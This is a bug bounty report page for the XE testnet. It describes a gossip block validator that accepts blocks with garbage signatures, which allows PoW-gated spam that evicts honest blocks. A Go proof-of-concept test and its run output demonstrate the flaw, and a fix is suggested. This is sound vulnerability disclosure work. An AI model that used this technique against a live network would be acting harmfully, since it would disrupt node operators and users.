<!-- XE-0029 · net: block gossip validator forwards blocks with garbage signatures; PoW-gated mesh spam and channel eviction (Medium) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0029>. The page is the record; this is the same page for reading.*

XE-0029 · Bounty

# net: block gossip validator forwards blocks with garbage signatures; PoW-gated mesh spam and channel eviction (Medium)

Accepted
claimed Medium
[xe#53](https://github.com/xeprotocol/xe/issues/53)
filed 2026-10-25 11:12 UTC
by byfor8

Verdict
:   published when the fix ships

Tier
:   published when the fix ships

Claimed
:   Medium

Area
:   P2P / sync

Duplicate of
:   —

Tracked
:   internally

Updated
:   2026-11-10 11:38 UTC

Told
:   2026-11-10 00:15 UTC

### Patches

- [xe#135](https://github.com/xeprotocol/xe/pull/135) open by arturbarszcz78
  fix(net,node): verify block signatures and pubkey declarations in gossip blockValidator

### History

- [61381](https://bounty.xe.network/log/61381) 2026-11-10 00:15 UTC reply.mirrored
- [61338](https://bounty.xe.network/log/61338) 2026-11-10 00:15 UTC reply.sent
- [10219](https://bounty.xe.network/log/10219) 2026-11-05 22:19 UTC proposal.adopted
- [10218](https://bounty.xe.network/log/10218) 2026-11-05 22:19 UTC ticket.award
- [10217](https://bounty.xe.network/log/10217) 2026-11-05 22:19 UTC proposal.rejected
- [6875](https://bounty.xe.network/log/6875) 2026-11-05 13:45 UTC proposal.created
- [1799](https://bounty.xe.network/log/1799) 2026-11-02 19:16 UTC proposal.created
- [1454](https://bounty.xe.network/log/1454) 2026-11-02 10:11 UTC note.added
- [702](https://bounty.xe.network/log/702) 2026-10-29 14:22 UTC note.added
- [701](https://bounty.xe.network/log/701) 2026-10-29 14:22 UTC ticket.facts area
- [586](https://bounty.xe.network/log/586) 2026-10-29 14:04 UTC github.labels
- [360](https://bounty.xe.network/log/360) 2026-10-29 14:04 UTC ticket.status triaging → accepted

[Full history](https://bounty.xe.network/log?ref=XE-0029) · [JSON](https://bounty.xe.network/v1/tickets/XE-0029) · [markdown](https://bounty.xe.network/XE-0029.md)

### Report

## Summary

The gossipsub block validator checks the block hash, PoW difficulty and signature length, but the hash is computed over canonical bytes that do not include the Signature field, so any 128 hex character garbage passes. The real signature check happens only after delivery, on a 256-deep channel that drops when full. One client can keep validly hashed, PoW-stamped, unsigned blocks flowing mesh-wide, evicting honest blocks from subscriber channels at every node.

## Affected component

net/gossip\_validate.go, blockValidator at lines 63 to 98; core/encoding.go HashBlock canonical bytes excluding Signature (lines 43 to 98 and 301 to 330); channel drop at net/gossip.go lines 154 to 158, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Default PoW difficulty is non-zero (core/pow.go DefaultDifficulty), which keeps this PoW-gated spam rather than free flooding.

## Impact

One client burns PoW once per spam block and gets it forwarded by every node: honest subscribers' block channels fill, real blocks drop, and sync quality degrades for as long as the attacker keeps mining. No double-spend (admission still verifies credentials). If an operator ever sets difficulty to 0, this upgrades to free unlimited mesh spam.

Suggested severity: Medium (validation gap with PoW cost as the bound). Confirmed by read-only source review with an in-process harness at the default difficulty.

## PoC

## PoC

Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f18_test.go` (it joins the package's own test build), then:

```
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F18 ./net
```

**Test file** (`net/poc_f18_test.go`):

```
package net

import (
	"context"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"os"
	"testing"

	pubsub "github.com/libp2p/go-libp2p-pubsub"
	pb "github.com/libp2p/go-libp2p-pubsub/pb"
	"github.com/libp2p/go-libp2p/core/peer"

	"github.com/xeprotocol/xe/core"
)

// TestPoC_F18: blockValidator never verifies the account signature. A
// syntactically valid send with 128 hex of garbage in Signature and a real
// PoW at DefaultDifficulty is ValidationAccept.
func TestPoC_F18(t *testing.T) {
	pass, detail := runF18()
	if pass {
		fmt.Println("PASS: F18 blockValidator accepts a garbage-signature block at DefaultDifficulty")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F18 expected ValidationAccept for garbage Signature at default difficulty")
	fmt.Println(detail)
	os.Exit(0)
}

func runF18() (bool, string) {
	core.SetNetworkID("")
	account := "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
	dest := "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
	b := &core.Block{
		Type:        core.BlockSend,
		Account:     account,
		Previous:    "0",
		Balance:     0,
		Amount:      1,
		Timestamp:   1,
		Asset:       "XE",
		Destination: dest,
		Signature:   hex.EncodeToString(make([]byte, 64)), // 128 hex zeros, not a real sig
	}
	h, err := core.HashBlock(b)
	if err != nil {
		return false, "HashBlock: " + err.Error()
	}
	b.Hash = h
	hashBytes, err := hex.DecodeString(b.Hash)
	if err != nil {
		return false, "decode hash: " + err.Error()
	}
	b.PoWNonce = core.ComputePoW(hashBytes, core.DefaultDifficulty)
	if !core.ValidatePoW(hashBytes, b.PoWNonce, core.DefaultDifficulty) {
		return false, "PoW did not validate at DefaultDifficulty"
	}

	// Hash is independent of Signature: flipping the garbage does not change it.
	b.Signature = hex.EncodeToString(bytesOf(0xff, 64))
	h2, _ := core.HashBlock(b)
	hashIndependent := h2 == b.Hash

	v := blockValidator(GossipConfig{Difficulty: core.DefaultDifficulty})
	data, err := json.Marshal(BlockMsg{Block: b})
	if err != nil {
		return false, "marshal: " + err.Error()
	}
	got := v(context.Background(), peer.ID(""), &pubsub.Message{Message: &pb.Message{Data: data}})

	realKP, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen: " + err.Error()
	}
	credErr := core.VerifyBlockSignatureWith(b, realKP.PubKeyHex())

	detail := fmt.Sprintf(
		"DefaultDifficulty=%#x nonce=%d hash=%s\n"+
			"Signature=%s (128 hex garbage)\n"+
			"HashBlock independent of Signature=%v\n"+
			"blockValidator result=%v (ValidationAccept=%v)\n"+
			"real credential check VerifyBlockSignatureWith err=%v",
		core.DefaultDifficulty, b.PoWNonce, b.Hash[:16],
		b.Signature[:16]+"...",
		hashIndependent, got, pubsub.ValidationAccept, credErr,
	)
	ok := got == pubsub.ValidationAccept && hashIndependent && credErr != nil && len(b.Signature) == 128
	return ok, detail
}

func bytesOf(v byte, n int) []byte {
	out := make([]byte, n)
	for i := range out {
		out[i] = v
	}
	return out
}
```

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
=== RUN   TestPoC_F18
PASS: F18 blockValidator accepts a garbage-signature block at DefaultDifficulty
DefaultDifficulty=0xfffff80000000000 nonce=14812486524125728324 hash=5d599f25ded9d1dd
Signature=ffffffffffffffff... (128 hex garbage)
HashBlock independent of Signature=true
blockValidator result=0 (ValidationAccept=0)
real credential check VerifyBlockSignatureWith err=signature verification failed
--- PASS: TestPoC_F18 (0.78s)
PASS
ok  	github.com/xeprotocol/xe/net	0.792s
```

## Fix suggestion

Verify the account signature at the gossip level, or at minimum add a per-peer score penalty for hash-valid but signature-invalid blocks.

### Thread

**XE desk**team2026-11-10 00:15 UTCgithub

Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is
updated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0029.
